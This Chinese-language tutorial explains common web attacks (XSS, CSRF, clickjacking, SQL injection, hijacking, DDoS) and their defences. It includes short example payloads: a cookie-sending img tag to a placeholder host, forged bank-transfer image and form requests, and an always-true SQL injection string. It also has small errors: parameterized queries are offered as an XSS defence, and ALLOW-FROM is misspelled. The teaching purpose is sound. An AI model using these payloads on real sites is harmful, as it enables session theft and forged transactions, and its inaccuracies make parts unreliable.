常见的 Web 攻击有以下几种
- XSS 跨站脚本攻击
- CSRF 跨站请求伪造
- 点击劫持
- SQL 注入
- OS 注入
- 请求劫持
- DDoS
XSS
什么是XSS
XSS (Cross-Site Scripting) 跨站脚本攻击,由于字母缩写与CSS重叠,因此改为XSS
XSS 是指攻击者在目标网站注入恶意代码,使之在用户的浏览器上运行,利用这些恶意脚本,可以修改页面显示的内容,甚至是获取用户的敏感信息,比如获取带有用户登录信息的cookie,执行非法操作。
恶意代码可以是以下任何一种
- 带有
script
标签的代码,浏览器会直接执行 - 在标签的 href、src 等属性中,包含
javascript:
等可执行代码 - 在标签的 href、src 等属性中,是一个恶意请求的url,如
<img src="http://xx.com/?cookie=xxxxx" />
XSS 的分类
恶意代码是如何被注入的呢?通常有 反射型 , 存储型 , DOM型 三种类型
反射型
- 攻击者构造出包含恶意代码的URL,并诱导用户打开
- 当用户打开带有恶意代码的URL时,恶意代码被服务端取出,拼接到HTML中返回
- 浏览器接收并解析页面,其中的恶意代码也被执行。
存储型
- 攻击者将恶意代码提交到数据库
- 当用户访问网站时,恶意代码被服务端从数据库取出,拼接到HTML并返回
- 浏览器解析页面,恶意代码也会被执行
DOM型
- 这种类型与反射型类型,攻击者需要构造带有恶意代码的URL,然后诱导用户打开
- 区别在于,DOM型XSS是由前端 Javascript 取出URL上的恶意代码,导致恶意代码被执行
XSS 的危害
虽然输入的恶意脚本通常比较短,但是一旦攻击者获得了代码的控制权,便可以通过引入外部脚本、将用户信息发送回攻击者网站等方式来实现更复杂的攻击。XSS 的危害包括:
- 篡改网页内容
- 获取用户信息、Cookie, 然后发送到攻击者网站
- 冒充用户,调用网站的接口,执行非法操作
XSS 的防御
XSS 的本质是恶意代码混入了普通代码,浏览器无法区分,恶意代码被执行。因此,可以从以下几个角度来考虑如何防御
- 从源头拦截:攻击者通过反射型、存储型提交到服务端的恶意代码,通过DOM型提交到浏览器的的恶意代码
- 从浏览器自身阻止: 阻止浏览器执行恶意代码
- 从攻击者目的防御: 防止cookie被盗取
从源头拦截
存储型XSS的防御
恶意代码会先存储到db,能否在存储前先进行充分转义,等取出来直接渲染就不会注入恶意代码了,答案是不可行的。这样虽然可以阻止恶意代码注入,但是由于存到数据库时不知道数据将会用于哪些地方的展示,例如富文本就不希望将 <
转义,因此不能一刀切直接转义掉提交的数据
要防止存储型XSS,在服务端可以使用数据库提供的参数化查询接口,而不要直接拼接SQL语句,如 node.js 中的 mysql 使用 ?
占位符
// 错误写法
const { num, name, sex } = ctx.request.body;
const sql = `
insert into t_student values(${num}, ${name}, ${sex});
`;
// 正确写法
var post = {id: 1, title: 'Hello MySQL'};
var query = connection.query('INSERT INTO posts SET ?', post, function (error, results, fields) {
if (error) throw error;
});
console.log(query.sql); // INSERT INTO posts SET `id` = 1, `title` = 'Hello MySQL'
反射型XSS的防御
服务端取出URL上的参数后,先进行转义,再渲染到HTML返回给浏览器,常用的模板如 ejs
就带有转义功能
<% code %>
<%= code %> 会对 code 进行html转义
<%- code %> 不会转义
但是转义仍然面临有些不需要转义的情况,而且可执行 javascript:
,href, src
带上了恶意链接的情况,HTML转义无法防范
DOM型XSS的防御
前端开发中,要防止直接将用户输入插入到HTML中,如使用 innerHTML
, document.write
, vue 的 v-html
等方法
对于可执行代码的防御,这些方法都能将字符串作为代码执行,因此要谨慎处理用户输入,防止出现漏洞
- 内联事件监听:
onclick
onload
onerror
- js 方法:
eval
setTimeout
setInterval
从浏览器自身阻止
由于攻击类型多种多样,对于用户输入的转义和处理又不能一刀切,需结合实际场景进行防御,因此从源头进行防御仍然可能出现漏洞,当出现漏网之鱼的时候,浏览器自身也有一些策略可以阻止恶意代码执行
Content Security Policy
CSP 内容安全策略,其本质就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
从攻击者目的防御
Http Only
Http Only
是预防XSS攻击盗取用户cookie最有效的手段,cookie无法被js读取,就意味着恶意代码无法窃取cookie
验证码
攻击者可能会冒充用户,直接调用接口进行非法操作,增加验证码可以增加冒充用户的难度。
小结
XSS 常见类型有存储型、反射型 和DOM型,因此前端和后端开发人员都必须时刻保持警惕,对数据的转义同时也要结合实际业务,不能一刀切对全部进行转义;XSS的防御需要从多个角度出发,提升攻击难度,降低攻击后果。
CSRF
CSRF(Cross Site Request Forgery) 跨站请求伪造
是指在用户已登录的情况下,攻击者诱导用户进入第三方网站,在第三方网站中,冒用用户的登录信息向被攻击的网站发送请求,以用户的名义完成非法操作
举个例子,假设用户登录了站点A,在登录态有效的情况下,访问了攻击者恶意诱导的第三方站点B,此时站点B可能有一张“图片” <img src="http://a.com/getxxx' />
,会自动去请求该地址,这个地址实际上是带了用户的cookie去访问了站点A,这样就完成了请求伪造
CSRF 的危害
通过伪造用户请求,以用户的名义去修改用户的各种数据,甚至涉及金钱等等
CSRF 的分类
GET 请求的 CSRF
GET 类型的攻击非常简单,通常会利用一个 <img src="http://bank.com?acount=a&amount=10000" />
,攻击者在第三方网站构造一个“图片”,但图片地址是一个银行转账的GET请求,当用户打开页面,图片会被自动加载,请求就会携带用户的cookie发送到被攻击网站,在用户不知情的情况下就完成了CSRF攻击
链接类型的 CSRF
诱导用户点击链接,点击后直接发送一个get请求
POST 请求的 CSRF
POST 类型难度会比 GET 类型高一点,但不意味着 POST 比 GET 安全,其难度只是由于 POST 请求需要构造一个表单,当用户访问第三方网站时,伪造请求仍然会被自动发送,下面是post攻击的表单
<form action="http://bank.com" method="POST">
<input type="hidden" name="account" value="a" />
<input type="hidden" name="amount" value="10000" />
</form>
CSRF 的防御
CSRF 攻击通常发生在第三方网站,也就是说,被攻击的网站无法防止攻击的发生,只能防止攻击成功,我们总结一下 CSRF 的两个特点
- 通常是发生在第三方域名
- 攻击者无法获取到Cookie,只是使用
根据这两个特点,可以做针对性的防御,具体有
- 防御第三方域名:包括对来源进行检测、SameSite Cookie
- 将真正的用户请求与攻击请求区分开来:使用 CSRF Token
同源检测
既然攻击通常发生在第三方域名,那么就可以检测请求来源,通常使用 Referer
请求头来识别访问来源,当来源不可信或者没有时,建议直接阻止请求。
Referrer-Policy
首部用来规定哪些访问来源信息会在 Referer
中发送,以下是可能的值
no-referrer
访问来源信息不会被发送,整个 Referer 都会被移除no-referrer-when-downgrade
默认值,同等安全级别的情况下,引用页面的地址会被发送(HTTPS -> HTTPS),降级的情况下不会发送(HTTPS->HTTP)origin
任何情况下仅发送源作为 Refererorigin-when-cross-origin
同源会发送完整的 URL,非同源仅发送源same-origin
同源会发送完整的 URL,非同源不发送strict-origin
同等安全级别下,发送文件的源作为引用地址,降级的情况下不会发送strict-origin-when-cross-origin
同等安全级别下,同源会发送完整URL,非同源仅发送源;降级不发送unsafe-url
无论同源、非同源都发送完整 URL(移除参数后)作为 Referer
SameSite cookies
SameSite
是 HTTP 响应头 Set-Cookie
的属性之一,有三个可能的值
Lax
较为宽松的策略,允许 cookies 与顶级导航一起发送,并将与第三方发起的GET请求一起发送Strict
严格的策略,Cookies 只会在第一方上下文中发送,对于顶级域名下已登录打开子域名的页面仍然需要登录的用户体验不太好None
允许 Cookies 跨域发送,指定 None 时需要添加 Secure 字段,即Set-Cookie: user=xxx; SameSite=None; Secure
,同时 Secure 仅通过 HTTPS 协议加密发送到服务器,不支持 HTTP,这意味着不安全的的第三方站点不会发送cookie
SameSite 目前的兼容性不太好
csrf token
如果有一种方式能将用户请求和恶意请求区分开,是不是就能阻止攻击了?那么如何区分呢?答案就是 csrf token, 来实现双重验证
Cookies 会随请求一起发送,每次请求服务端都生成一个随机的 token 返回(不能放在cookie里面了),下次请求前端将 token 一起发送过去,服务端校验token,如果错误就阻止请求。由于token是随机的,攻击者无法猜到,因此攻击的难度就大大提高了
点击劫持
点击劫持是一种视觉欺骗的攻击手段,攻击者将创建一个网页诱导点击,在页面上以iframe嵌入目标网站,并设置为透明,用户以为点击的是他所看到的页面,实则点击了iframe 中的目标页面,这个页面
点击劫持的防御
X-FRAME-OPTIONS
HTTP响应头,有三个值可选,分别是- DENY 表示页面不允许通过 iframe 方式展示
- SAMEORIGIN 表示页面可以在相同域名下通过 iframe 的方式展示
- ALLOW-FORM 表示页面可以在指定来源的 iframe 中展示
- js 中进行判断,防止被嵌入到其他页面中
- 判断如果以iframe嵌入,则不显示所有内容(display:none)
SQL 注入
SQL 注入是发生在数据库层的攻击,攻击者在用户输入中加入了恶意 SQL 语句,如果这些SQL语句没有被过滤,就会被拼接到最终的SQL语句中,实现攻击
比如下面的查询,攻击者传入 '1' or '1'='1'
,sql 语句将变成下面这样,不管输入密码是多少,由于 '1'='1' 恒成立,所以这条语句总能返回成功
select * from user where username = '123' and password = '$pwd';
select * from user where username = '123' and password = '1' or '1'='1';
SQL注入的防御
服务端使用参数化查询接口,而不是直接拼接SQL语句
请求劫持
对HTTP请求进行拦截,分别有
- DNS 劫持,又称为域名劫持,修改了域名解析的结果,是的访问到的不是预期的ip地址,使用户在不知情的情况下访问了钓鱼网站
- HTTP劫持,HTTP响应内容被篡改,比如页面中的广告,升级到HTTPS可以防止HTTP劫持
DDoS
DDos 分布式拒绝服务攻击 (Distributed Denial of Service),是指一类攻击,不是某一种特定的攻击方式,这类攻击的特点是从多个位置同时向目标的任何一个环节发起攻击,只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的。
DDos 防御
- 备份网站,发生攻击时可以第一时间显示公告通知用户
- HTTP 请求拦截
- CDN
- 高防服务器